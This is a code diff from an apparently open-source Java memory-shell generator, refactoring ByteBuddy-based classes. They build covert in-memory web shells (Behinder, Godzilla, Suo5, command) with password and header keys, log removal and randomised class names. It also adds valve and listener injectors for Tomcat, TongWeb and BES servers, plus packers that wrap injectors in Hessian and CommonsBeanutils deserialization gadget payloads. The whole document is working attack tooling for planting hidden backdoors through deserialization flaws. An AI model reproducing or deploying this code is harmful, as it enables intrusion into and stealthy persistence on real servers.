import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
||||||
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
import com.reajason.javaweb.memshell.config.BehinderConfig;
|
import com.reajason.javaweb.memshell.config.BehinderConfig;
|
||||||
import com.reajason.javaweb.memshell.config.Constants;
|
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
import net.bytebuddy.ByteBuddy;
|
import net.bytebuddy.ByteBuddy;
|
||||||
import net.bytebuddy.dynamic.DynamicType;
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
import org.apache.commons.codec.digest.DigestUtils;
|
import org.apache.commons.codec.digest.DigestUtils;
|
||||||
import org.apache.commons.lang3.StringUtils;
|
import org.apache.commons.lang3.StringUtils;
|
||||||
|
|
||||||
import java.util.Map;
|
import java.util.HashMap;
|
||||||
|
|
||||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||||
|
|
||||||
@@ -51,13 +51,13 @@ public class BehinderGenerator {
|
|||||||
builder = LogRemoveMethodVisitor.extend(builder);
|
builder = LogRemoveMethodVisitor.extend(builder);
|
||||||
}
|
}
|
||||||
|
|
||||||
if (shellConfig.getShellType().startsWith(Constants.AGENT)) {
|
if (shellConfig.getShellType().startsWith(ShellType.AGENT)) {
|
||||||
builder = builder.visit(
|
builder = builder.visit(
|
||||||
new LdcReAssignVisitorWrapper(Map.of(
|
new LdcReAssignVisitorWrapper(new HashMap<Object, Object>(3) {{
|
||||||
"pass", md5Key,
|
put("pass", md5Key);
|
||||||
"headerName", behinderConfig.getHeaderName(),
|
put("headerName", behinderConfig.getHeaderName());
|
||||||
"headerValue", behinderConfig.getHeaderValue()
|
put("headerValue", behinderConfig.getHeaderValue());
|
||||||
))
|
}})
|
||||||
);
|
);
|
||||||
} else {
|
} else {
|
||||||
builder = builder.field(named("pass")).value(md5Key)
|
builder = builder.field(named("pass")).value(md5Key)
|
||||||
|
|||||||
+12
-4
@@ -4,13 +4,14 @@ import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper;
|
|||||||
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
||||||
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
||||||
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
||||||
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
import com.reajason.javaweb.memshell.config.CommandConfig;
|
import com.reajason.javaweb.memshell.config.CommandConfig;
|
||||||
import com.reajason.javaweb.memshell.config.Constants;
|
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
import net.bytebuddy.ByteBuddy;
|
import net.bytebuddy.ByteBuddy;
|
||||||
import net.bytebuddy.dynamic.DynamicType;
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
|
import org.apache.commons.lang3.StringUtils;
|
||||||
|
|
||||||
import java.util.Map;
|
import java.util.HashMap;
|
||||||
|
|
||||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||||
|
|
||||||
@@ -38,11 +39,18 @@ public class CommandGenerator {
|
|||||||
builder = LogRemoveMethodVisitor.extend(builder);
|
builder = LogRemoveMethodVisitor.extend(builder);
|
||||||
}
|
}
|
||||||
|
|
||||||
if (config.getShellType().startsWith(Constants.AGENT)) {
|
String shellType = config.getShellType();
|
||||||
builder = builder.visit(new LdcReAssignVisitorWrapper(Map.of("paramName", shellConfig.getParamName())));
|
if (!ShellType.WEBSOCKET.equals(shellType)) {
|
||||||
|
if (StringUtils.startsWith(shellType, ShellType.AGENT)) {
|
||||||
|
builder = builder.visit(
|
||||||
|
new LdcReAssignVisitorWrapper(new HashMap<Object, Object>(1) {{
|
||||||
|
put("paramName", shellConfig.getParamName());
|
||||||
|
}})
|
||||||
|
);
|
||||||
} else {
|
} else {
|
||||||
builder = builder.field(named("paramName")).value(shellConfig.getParamName());
|
builder = builder.field(named("paramName")).value(shellConfig.getParamName());
|
||||||
}
|
}
|
||||||
|
}
|
||||||
|
|
||||||
try (DynamicType.Unloaded<?> make = builder.make()) {
|
try (DynamicType.Unloaded<?> make = builder.make()) {
|
||||||
return make.getBytes();
|
return make.getBytes();
|
||||||
|
|||||||
+10
-10
@@ -4,7 +4,7 @@ import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper;
|
|||||||
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
||||||
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
||||||
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
||||||
import com.reajason.javaweb.memshell.config.Constants;
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
import com.reajason.javaweb.memshell.config.GodzillaConfig;
|
import com.reajason.javaweb.memshell.config.GodzillaConfig;
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
import net.bytebuddy.ByteBuddy;
|
import net.bytebuddy.ByteBuddy;
|
||||||
@@ -12,7 +12,7 @@ import net.bytebuddy.dynamic.DynamicType;
|
|||||||
import org.apache.commons.codec.digest.DigestUtils;
|
import org.apache.commons.codec.digest.DigestUtils;
|
||||||
import org.apache.commons.lang3.StringUtils;
|
import org.apache.commons.lang3.StringUtils;
|
||||||
|
|
||||||
import java.util.Map;
|
import java.util.HashMap;
|
||||||
|
|
||||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||||
|
|
||||||
@@ -52,15 +52,15 @@ public class GodzillaGenerator {
|
|||||||
builder = LogRemoveMethodVisitor.extend(builder);
|
builder = LogRemoveMethodVisitor.extend(builder);
|
||||||
}
|
}
|
||||||
|
|
||||||
if (shellConfig.getShellType().startsWith(Constants.AGENT)) {
|
if (shellConfig.getShellType().startsWith(ShellType.AGENT)) {
|
||||||
builder = builder.visit(
|
builder = builder.visit(
|
||||||
new LdcReAssignVisitorWrapper(Map.of(
|
new LdcReAssignVisitorWrapper(new HashMap<Object, Object>(3) {{
|
||||||
"pass", godzillaConfig.getPass(),
|
put("pass", godzillaConfig.getPass());
|
||||||
"key", md5Key,
|
put("key", md5Key);
|
||||||
"md5", md5,
|
put("md5", md5);
|
||||||
"headerName", godzillaConfig.getHeaderName(),
|
put("headerName", godzillaConfig.getHeaderName());
|
||||||
"headerValue", godzillaConfig.getHeaderValue()
|
put("headerValue", godzillaConfig.getHeaderValue());
|
||||||
))
|
}})
|
||||||
);
|
);
|
||||||
} else {
|
} else {
|
||||||
builder = builder.field(named("pass")).value(godzillaConfig.getPass())
|
builder = builder.field(named("pass")).value(godzillaConfig.getPass())
|
||||||
|
|||||||
+1
-3
@@ -32,9 +32,7 @@ public class InjectorGenerator {
|
|||||||
|
|
||||||
@SneakyThrows
|
@SneakyThrows
|
||||||
public DynamicType.Builder<?> getBuilder() {
|
public DynamicType.Builder<?> getBuilder() {
|
||||||
String base64String = Base64.encodeBase64String(
|
String base64String = Base64.encodeBase64String(CommonUtil.gzipCompress(injectorConfig.getShellClassBytes()));
|
||||||
CommonUtil.gzipCompress(injectorConfig.getShellClassBytes()))
|
|
||||||
.replace(System.lineSeparator(), "");
|
|
||||||
DynamicType.Builder<?> builder = new ByteBuddy()
|
DynamicType.Builder<?> builder = new ByteBuddy()
|
||||||
.redefine(injectorConfig.getInjectorClass())
|
.redefine(injectorConfig.getInjectorClass())
|
||||||
.name(injectorConfig.getInjectorClassName())
|
.name(injectorConfig.getInjectorClassName())
|
||||||
|
|||||||
+36
@@ -0,0 +1,36 @@
|
|||||||
|
package com.reajason.javaweb.memshell.generator;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.buddy.MethodCallReplaceVisitorWrapper;
|
||||||
|
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
||||||
|
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
|
||||||
|
import net.bytebuddy.ByteBuddy;
|
||||||
|
import net.bytebuddy.asm.Advice;
|
||||||
|
import net.bytebuddy.asm.AsmVisitorWrapper;
|
||||||
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
|
import net.bytebuddy.dynamic.loading.ClassLoadingStrategy;
|
||||||
|
|
||||||
|
import java.util.Collections;
|
||||||
|
|
||||||
|
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/2/22
|
||||||
|
*/
|
||||||
|
public class ListenerGenerator {
|
||||||
|
|
||||||
|
public static Class<?> generateListenerShellClass(Class<?> implInterceptor, Class<?> targetClass) {
|
||||||
|
String newClassName = targetClass.getName() + CommonUtil.getRandomString(5);
|
||||||
|
|
||||||
|
try (DynamicType.Unloaded<?> unloaded = new ByteBuddy()
|
||||||
|
.redefine(targetClass)
|
||||||
|
.name(newClassName)
|
||||||
|
.visit(new AsmVisitorWrapper.ForDeclaredMethods()
|
||||||
|
.method(named("getResponseFromRequest"),
|
||||||
|
new MethodCallReplaceVisitorWrapper(newClassName, Collections.singleton(ShellCommonUtil.class.getName()))))
|
||||||
|
.visit(Advice.to(implInterceptor).on(named("getResponseFromRequest")))
|
||||||
|
.make()) {
|
||||||
|
return unloaded.load(ListenerGenerator.class.getClassLoader(), ClassLoadingStrategy.Default.WRAPPER_PERSISTENT).getLoaded();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -4,13 +4,13 @@ import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper;
|
|||||||
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
||||||
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
||||||
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
||||||
import com.reajason.javaweb.memshell.config.Constants;
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
import com.reajason.javaweb.memshell.config.Suo5Config;
|
import com.reajason.javaweb.memshell.config.Suo5Config;
|
||||||
import net.bytebuddy.ByteBuddy;
|
import net.bytebuddy.ByteBuddy;
|
||||||
import net.bytebuddy.dynamic.DynamicType;
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
|
|
||||||
import java.util.Map;
|
import java.util.HashMap;
|
||||||
|
|
||||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||||
|
|
||||||
@@ -41,12 +41,12 @@ public class Suo5Generator {
|
|||||||
builder = LogRemoveMethodVisitor.extend(builder);
|
builder = LogRemoveMethodVisitor.extend(builder);
|
||||||
}
|
}
|
||||||
|
|
||||||
if (shellConfig.getShellType().startsWith(Constants.AGENT)) {
|
if (shellConfig.getShellType().startsWith(ShellType.AGENT)) {
|
||||||
builder = builder.visit(
|
builder = builder.visit(
|
||||||
new LdcReAssignVisitorWrapper(Map.of(
|
new LdcReAssignVisitorWrapper(new HashMap<Object, Object>(3) {{
|
||||||
"headerName", suo5Config.getHeaderName(),
|
put("headerName", suo5Config.getHeaderName());
|
||||||
"headerValue", suo5Config.getHeaderValue()
|
put("headerValue", suo5Config.getHeaderValue());
|
||||||
))
|
}})
|
||||||
);
|
);
|
||||||
} else {
|
} else {
|
||||||
builder = builder
|
builder = builder
|
||||||
|
|||||||
@@ -0,0 +1,99 @@
|
|||||||
|
package com.reajason.javaweb.memshell.generator;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
||||||
|
import com.tongweb.web.thor.comet.CometEvent;
|
||||||
|
import com.tongweb.web.thor.connector.Request;
|
||||||
|
import com.tongweb.web.thor.connector.Response;
|
||||||
|
import net.bytebuddy.ByteBuddy;
|
||||||
|
import net.bytebuddy.asm.AsmVisitorWrapper;
|
||||||
|
import net.bytebuddy.description.field.FieldDescription;
|
||||||
|
import net.bytebuddy.description.field.FieldList;
|
||||||
|
import net.bytebuddy.description.method.MethodList;
|
||||||
|
import net.bytebuddy.description.modifier.Visibility;
|
||||||
|
import net.bytebuddy.description.type.TypeDescription;
|
||||||
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
|
import net.bytebuddy.dynamic.loading.ClassLoadingStrategy;
|
||||||
|
import net.bytebuddy.implementation.FixedValue;
|
||||||
|
import net.bytebuddy.implementation.Implementation;
|
||||||
|
import net.bytebuddy.jar.asm.ClassVisitor;
|
||||||
|
import net.bytebuddy.jar.asm.commons.ClassRemapper;
|
||||||
|
import net.bytebuddy.jar.asm.commons.Remapper;
|
||||||
|
import net.bytebuddy.pool.TypePool;
|
||||||
|
import org.jetbrains.annotations.NotNull;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/2/22
|
||||||
|
*/
|
||||||
|
public class ValveGenerator {
|
||||||
|
|
||||||
|
public static final String CATALINA_VALVE_PACKAGE = "org.apache.catalina";
|
||||||
|
public static final String BES_VALVE_PACKAGE = "com.bes.enterprise.webtier";
|
||||||
|
public static final String TONGWEB6_VALVE_PACKAGE = "com.tongweb.web.thor";
|
||||||
|
public static final String TONGWEB7_VALVE_PACKAGE = "com.tongweb.catalina";
|
||||||
|
|
||||||
|
public static class ValveRenameVisitorWrapper implements AsmVisitorWrapper {
|
||||||
|
private final String newPackageName;
|
||||||
|
|
||||||
|
public ValveRenameVisitorWrapper(String newPackageName) {
|
||||||
|
this.newPackageName = newPackageName.replace('.', '/');
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public int mergeReader(int flags) {
|
||||||
|
return flags;
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public int mergeWriter(int flags) {
|
||||||
|
return flags;
|
||||||
|
}
|
||||||
|
|
||||||
|
@NotNull
|
||||||
|
@Override
|
||||||
|
public ClassVisitor wrap(@NotNull TypeDescription instrumentedType,
|
||||||
|
@NotNull ClassVisitor classVisitor,
|
||||||
|
@NotNull Implementation.Context implementationContext,
|
||||||
|
@NotNull TypePool typePool,
|
||||||
|
@NotNull FieldList<FieldDescription.InDefinedShape> fields,
|
||||||
|
@NotNull MethodList<?> methods,
|
||||||
|
int writerFlags,
|
||||||
|
int readerFlags) {
|
||||||
|
return new ClassRemapper(
|
||||||
|
classVisitor,
|
||||||
|
new Remapper() {
|
||||||
|
@Override
|
||||||
|
public String map(String typeName) {
|
||||||
|
String packageName = CATALINA_VALVE_PACKAGE.replace(".", "/");
|
||||||
|
if (typeName.startsWith(packageName)) {
|
||||||
|
return typeName.replace(packageName, newPackageName);
|
||||||
|
} else {
|
||||||
|
return typeName;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static Class<?> generateValveClass(String packageName, Class<?> targetClass) {
|
||||||
|
String newClassName = targetClass.getName() + CommonUtil.getRandomString(5);
|
||||||
|
|
||||||
|
DynamicType.Builder<?> builder = new ByteBuddy()
|
||||||
|
.redefine(targetClass)
|
||||||
|
.name(newClassName)
|
||||||
|
.visit(new ValveRenameVisitorWrapper(packageName));
|
||||||
|
|
||||||
|
if (TONGWEB6_VALVE_PACKAGE.equals(packageName)) {
|
||||||
|
builder = builder
|
||||||
|
.defineMethod("getInfo", String.class, Visibility.PUBLIC)
|
||||||
|
.intercept(FixedValue.value(""))
|
||||||
|
.defineMethod("event", void.class, Visibility.PUBLIC)
|
||||||
|
.withParameters(Request.class, Response.class, CometEvent.class)
|
||||||
|
.intercept(FixedValue.originType());
|
||||||
|
}
|
||||||
|
|
||||||
|
try (DynamicType.Unloaded<?> unloaded = builder.make()) {
|
||||||
|
return unloaded.load(ValveGenerator.class.getClassLoader(), ClassLoadingStrategy.Default.WRAPPER_PERSISTENT).getLoaded();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -1,5 +1,6 @@
|
|||||||
package com.reajason.javaweb.memshell.packer;
|
package com.reajason.javaweb.memshell.packer;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.Packers;
|
||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
|
|
||||||
import java.util.LinkedHashMap;
|
import java.util.LinkedHashMap;
|
||||||
|
|||||||
+1
-1
@@ -1,8 +1,8 @@
|
|||||||
package com.reajason.javaweb.memshell.packer.bsh;
|
package com.reajason.javaweb.memshell.packer.bsh;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.Packers;
|
||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
import com.reajason.javaweb.memshell.packer.Packer;
|
import com.reajason.javaweb.memshell.packer.Packer;
|
||||||
import com.reajason.javaweb.memshell.packer.Packers;
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
|
|||||||
+11
@@ -0,0 +1,11 @@
|
|||||||
|
package com.reajason.javaweb.memshell.packer.deserialize.hessian;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.packer.AggregatePacker;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/2/20
|
||||||
|
*/
|
||||||
|
public class Hessian2Packer implements AggregatePacker {
|
||||||
|
|
||||||
|
}
|
||||||
+24
@@ -0,0 +1,24 @@
|
|||||||
|
package com.reajason.javaweb.memshell.packer.deserialize.hessian;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.deserialize.DeserializeConfig;
|
||||||
|
import com.reajason.javaweb.deserialize.Hessian2DeserializeGenerator;
|
||||||
|
import com.reajason.javaweb.deserialize.PayloadType;
|
||||||
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
|
import com.reajason.javaweb.memshell.packer.Packer;
|
||||||
|
import org.apache.commons.codec.binary.Base64;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/2/20
|
||||||
|
*/
|
||||||
|
public class Hessian2XSLTScriptEnginePacker implements Packer {
|
||||||
|
@Override
|
||||||
|
public String pack(GenerateResult generateResult) {
|
||||||
|
byte[] injectorBytes = generateResult.getInjectorBytes();
|
||||||
|
String injectorClassName = generateResult.getInjectorClassName();
|
||||||
|
DeserializeConfig deserializeConfig = new DeserializeConfig();
|
||||||
|
deserializeConfig.setPayloadType(PayloadType.XSLTScriptEngine);
|
||||||
|
byte[] generate = Hessian2DeserializeGenerator.generate(injectorBytes, injectorClassName, deserializeConfig);
|
||||||
|
return Base64.encodeBase64String(generate);
|
||||||
|
}
|
||||||
|
}
|
||||||
+11
@@ -0,0 +1,11 @@
|
|||||||
|
package com.reajason.javaweb.memshell.packer.deserialize.hessian;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.packer.AggregatePacker;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/2/20
|
||||||
|
*/
|
||||||
|
public class HessianPacker implements AggregatePacker {
|
||||||
|
|
||||||
|
}
|
||||||
+24
@@ -0,0 +1,24 @@
|
|||||||
|
package com.reajason.javaweb.memshell.packer.deserialize.hessian;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.deserialize.DeserializeConfig;
|
||||||
|
import com.reajason.javaweb.deserialize.HessianDeserializeGenerator;
|
||||||
|
import com.reajason.javaweb.deserialize.PayloadType;
|
||||||
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
|
import com.reajason.javaweb.memshell.packer.Packer;
|
||||||
|
import org.apache.commons.codec.binary.Base64;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/2/20
|
||||||
|
*/
|
||||||
|
public class HessianXSLTScriptEnginePacker implements Packer {
|
||||||
|
@Override
|
||||||
|
public String pack(GenerateResult generateResult) {
|
||||||
|
byte[] injectorBytes = generateResult.getInjectorBytes();
|
||||||
|
String injectorClassName = generateResult.getInjectorClassName();
|
||||||
|
DeserializeConfig deserializeConfig = new DeserializeConfig();
|
||||||
|
deserializeConfig.setPayloadType(PayloadType.XSLTScriptEngine);
|
||||||
|
byte[] generate = HessianDeserializeGenerator.generate(injectorBytes, injectorClassName, deserializeConfig);
|
||||||
|
return Base64.encodeBase64String(generate);
|
||||||
|
}
|
||||||
|
}
|
||||||
+2
-2
@@ -1,7 +1,7 @@
|
|||||||
package com.reajason.javaweb.memshell.packer.deserialize.java;
|
package com.reajason.javaweb.memshell.packer.deserialize.java;
|
||||||
|
|
||||||
import com.reajason.javaweb.deserialize.DeserializeConfig;
|
import com.reajason.javaweb.deserialize.DeserializeConfig;
|
||||||
import com.reajason.javaweb.deserialize.DeserializeGenerator;
|
import com.reajason.javaweb.deserialize.JavaDeserializeGenerator;
|
||||||
import com.reajason.javaweb.deserialize.PayloadType;
|
import com.reajason.javaweb.deserialize.PayloadType;
|
||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
import com.reajason.javaweb.memshell.packer.Packer;
|
import com.reajason.javaweb.memshell.packer.Packer;
|
||||||
@@ -19,6 +19,6 @@ public class CommonsBeanutils110Packer implements Packer {
|
|||||||
public String pack(GenerateResult generateResult) {
|
public String pack(GenerateResult generateResult) {
|
||||||
DeserializeConfig deserializeConfig = new DeserializeConfig();
|
DeserializeConfig deserializeConfig = new DeserializeConfig();
|
||||||
deserializeConfig.setPayloadType(PayloadType.CommonsBeanutils110);
|
deserializeConfig.setPayloadType(PayloadType.CommonsBeanutils110);
|
||||||
return Base64.encodeBase64String(DeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig));
|
return Base64.encodeBase64String(JavaDeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+2
-2
@@ -1,7 +1,7 @@
|
|||||||
package com.reajason.javaweb.memshell.packer.deserialize.java;
|
package com.reajason.javaweb.memshell.packer.deserialize.java;
|
||||||
|
|
||||||
import com.reajason.javaweb.deserialize.DeserializeConfig;
|
import com.reajason.javaweb.deserialize.DeserializeConfig;
|
||||||
import com.reajason.javaweb.deserialize.DeserializeGenerator;
|
import com.reajason.javaweb.deserialize.JavaDeserializeGenerator;
|
||||||
import com.reajason.javaweb.deserialize.PayloadType;
|
import com.reajason.javaweb.deserialize.PayloadType;
|
||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
import com.reajason.javaweb.memshell.packer.Packer;
|
import com.reajason.javaweb.memshell.packer.Packer;
|
||||||
@@ -19,6 +19,6 @@ public class CommonsBeanutils16Packer implements Packer {
|
|||||||
public String pack(GenerateResult generateResult) {
|
public String pack(GenerateResult generateResult) {
|
||||||
DeserializeConfig deserializeConfig = new DeserializeConfig();
|
DeserializeConfig deserializeConfig = new DeserializeConfig();
|
||||||
deserializeConfig.setPayloadType(PayloadType.CommonsBeanutils16);
|
deserializeConfig.setPayloadType(PayloadType.CommonsBeanutils16);
|
||||||
return Base64.encodeBase64String(DeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig));
|
return Base64.encodeBase64String(JavaDeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+2
-2
@@ -1,7 +1,7 @@
|
|||||||
package com.reajason.javaweb.memshell.packer.deserialize.java;
|
package com.reajason.javaweb.memshell.packer.deserialize.java;
|
||||||
|
|
||||||
import com.reajason.javaweb.deserialize.DeserializeConfig;
|
import com.reajason.javaweb.deserialize.DeserializeConfig;
|
||||||
import com.reajason.javaweb.deserialize.DeserializeGenerator;
|
import com.reajason.javaweb.deserialize.JavaDeserializeGenerator;
|
||||||
import com.reajason.javaweb.deserialize.PayloadType;
|
import com.reajason.javaweb.deserialize.PayloadType;
|
||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
import com.reajason.javaweb.memshell.packer.Packer;
|
import com.reajason.javaweb.memshell.packer.Packer;
|
||||||
@@ -19,6 +19,6 @@ public class CommonsBeanutils18Packer implements Packer {
|
|||||||
public String pack(GenerateResult generateResult) {
|
public String pack(GenerateResult generateResult) {
|
||||||
DeserializeConfig deserializeConfig = new DeserializeConfig();
|
DeserializeConfig deserializeConfig = new DeserializeConfig();
|
||||||
deserializeConfig.setPayloadType(PayloadType.CommonsBeanutils18);
|
deserializeConfig.setPayloadType(PayloadType.CommonsBeanutils18);
|
||||||
return Base64.encodeBase64String(DeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig));
|
return Base64.encodeBase64String(JavaDeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+2
-2
@@ -1,7 +1,7 @@
|
|||||||
package com.reajason.javaweb.memshell.packer.deserialize.java;
|
package com.reajason.javaweb.memshell.packer.deserialize.java;
|
||||||
|
|
||||||
import com.reajason.javaweb.deserialize.DeserializeConfig;
|
import com.reajason.javaweb.deserialize.DeserializeConfig;
|
||||||
import com.reajason.javaweb.deserialize.DeserializeGenerator;
|
import com.reajason.javaweb.deserialize.JavaDeserializeGenerator;
|
||||||
import com.reajason.javaweb.deserialize.PayloadType;
|
import com.reajason.javaweb.deserialize.PayloadType;
|
||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
import com.reajason.javaweb.memshell.packer.Packer;
|
import com.reajason.javaweb.memshell.packer.Packer;
|
||||||
@@ -19,6 +19,6 @@ public class CommonsBeanutils19Packer implements Packer {
|
|||||||
public String pack(GenerateResult generateResult) {
|
public String pack(GenerateResult generateResult) {
|
||||||
DeserializeConfig deserializeConfig = new DeserializeConfig();
|
DeserializeConfig deserializeConfig = new DeserializeConfig();
|
||||||
deserializeConfig.setPayloadType(PayloadType.CommonsBeanutils19);
|
deserializeConfig.setPayloadType(PayloadType.CommonsBeanutils19);
|
||||||
return Base64.encodeBase64String(DeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig));
|
return Base64.encodeBase64String(JavaDeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,8 +1,8 @@
|
|||||||
package com.reajason.javaweb.memshell.packer.el;
|
package com.reajason.javaweb.memshell.packer.el;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.Packers;
|
||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
import com.reajason.javaweb.memshell.packer.Packer;
|
import com.reajason.javaweb.memshell.packer.Packer;
|
||||||
import com.reajason.javaweb.memshell.packer.Packers;
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
|
|||||||
+1
-1
@@ -1,8 +1,8 @@
|
|||||||
package com.reajason.javaweb.memshell.packer.freemarker;
|
package com.reajason.javaweb.memshell.packer.freemarker;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.Packers;
|
||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
import com.reajason.javaweb.memshell.packer.Packer;
|
import com.reajason.javaweb.memshell.packer.Packer;
|
||||||
import com.reajason.javaweb.memshell.packer.Packers;
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
|
|||||||
+1
-1
@@ -1,8 +1,8 @@
|
|||||||
package com.reajason.javaweb.memshell.packer.groovy;
|
package com.reajason.javaweb.memshell.packer.groovy;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.Packers;
|
||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
import com.reajason.javaweb.memshell.packer.Packer;
|
import com.reajason.javaweb.memshell.packer.Packer;
|
||||||
import com.reajason.javaweb.memshell.packer.Packers;
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
|
|||||||
@@ -1,8 +1,8 @@
|
|||||||
package com.reajason.javaweb.memshell.packer.jexl;
|
package com.reajason.javaweb.memshell.packer.jexl;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.Packers;
|
||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
import com.reajason.javaweb.memshell.packer.Packer;
|
